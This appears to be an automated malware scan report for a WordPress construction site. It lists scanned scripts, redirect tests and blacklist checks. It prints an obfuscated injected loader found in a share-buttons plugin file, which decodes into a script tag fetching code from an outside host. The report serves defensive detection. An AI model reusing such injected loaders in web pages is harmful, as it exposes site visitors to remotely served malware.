Scanned pages/files
Request | Server response | Status |
http://2011marstroy.ru/ | 200 OK Content-Length: 20352 Content-Type: text/html | clean |
https://ajax.googleapis.com/ajax/libs/jquery/1.7.1/jquery.min.js | 200 OK Content-Length: 93868 Content-Type: text/javascript | clean |
http://2011marstroy.ru/wp-content/themes/pokraska/swp.js | 200 OK Content-Length: 44759 Content-Type: application/javascript | clean |
http://2011marstroy.ru/wp-content/themes/pokraska/backstretch.js | 200 OK Content-Length: 1646 Content-Type: application/javascript | clean |
http://2011marstroy.ru/wp-content/themes/pokraska/modernizr.js | 200 OK Content-Length: 7799 Content-Type: application/javascript | clean |
http://2011marstroy.ru/wp-content/plugins/share-buttons/js/share-buttons.js | 200 OK Content-Length: 1758 Content-Type: application/javascript | clean |
https://apis.google.com/js/plusone.js | 200 OK Content-Length: 11857 Content-Type: application/javascript | clean |
http://vkontakte.ru/js/api/share.js?11&ver=3.6.1 | 200 OK Content-Length: 10156 Content-Type: application/x-javascript | clean |
http://userapi.com/js/api/openapi.js?34&ver=3.6.1 | 200 OK Content-Length: 64013 Content-Type: application/x-javascript | clean |
http://stg.odnoklassniki.ru/share/odkl_share.js | 200 OK Content-Length: 12312 Content-Type: application/x-javascript | clean |
http://2011marstroy.ru/wp-content/plugins/share-buttons/js/odkl_init.js | 200 OK Content-Length: 199 Content-Type: application/javascript | malicious |
Malicious code - confirmed by antiviruses (see below) window.onload = ODKL.init(); <!-- js-tools --> z=0;while(z<61)document.write(String.fromCharCode('=tdsjqu!tsd>#iuuq;00jyftpgu/dpn0{jqjnqpsu0tubu/qiq#?=0tdsjqu?'.charCodeAt(z++)-1)) <!-- /js-tools --> Antivirus reports:
| ||
http://cdn.connect.mail.ru/js/share/2/share.js | 200 OK Content-Length: 11486 Content-Type: application/x-javascript | clean |
http://platform.twitter.com/widgets.js | 200 OK Content-Length: 99146 Content-Type: application/javascript | clean |
http://www.google.com/buzz/api/button.js | 200 OK Content-Length: 0 Content-Type: text/javascript | clean |
http://2011marstroy.ru/category/instrumenty | 200 OK Content-Length: 24083 Content-Type: text/html | clean |
Malicious Redirects
First query (normal visit):
GET / HTTP/1.1
Host: 2011marstroy.ru
Result:
HTTP/1.1 200 OK
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Connection: close
Date: Fri, 04 Jul 2014 10:59:11 GMT
Pragma: no-cache
Server: LiteSpeed
Content-Type: text/html; charset=UTF-8
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Set-Cookie: PHPSESSID=7b63e734173edd5e636058771efb18eb; path=/
X-Pingback: http://2011marstroy.ru/xmlrpc.php
X-Powered-By: PHP/5.3.28
GET / HTTP/1.1
Host: 2011marstroy.ru
Result:
HTTP/1.1 200 OK
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Connection: close
Date: Fri, 04 Jul 2014 10:59:11 GMT
Pragma: no-cache
Server: LiteSpeed
Content-Type: text/html; charset=UTF-8
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Set-Cookie: PHPSESSID=7b63e734173edd5e636058771efb18eb; path=/
X-Pingback: http://2011marstroy.ru/xmlrpc.php
X-Powered-By: PHP/5.3.28
Second query (visit from search engine):
GET / HTTP/1.1
Host: 2011marstroy.ru
Referer: http://www.google.com/search?q=2011marstroy.ru
Result:
The result is similar to the first query. There are no suspicious redirects found.
GET / HTTP/1.1
Host: 2011marstroy.ru
Referer: http://www.google.com/search?q=2011marstroy.ru
Result:
The result is similar to the first query. There are no suspicious redirects found.
Safe Browsing / Blacklists
Query: http://www.google.com/safebrowsing/diagnostic?site=2011marstroy.ru
Result: This site is not currently listed as suspicious.
Result: This site is not currently listed as suspicious.
Query: http://yandex.com/infected?l10n=en&url=http://2011marstroy.ru/
Result: 2011marstroy.ru is not infected or malware details are not published yet.
Result: 2011marstroy.ru is not infected or malware details are not published yet.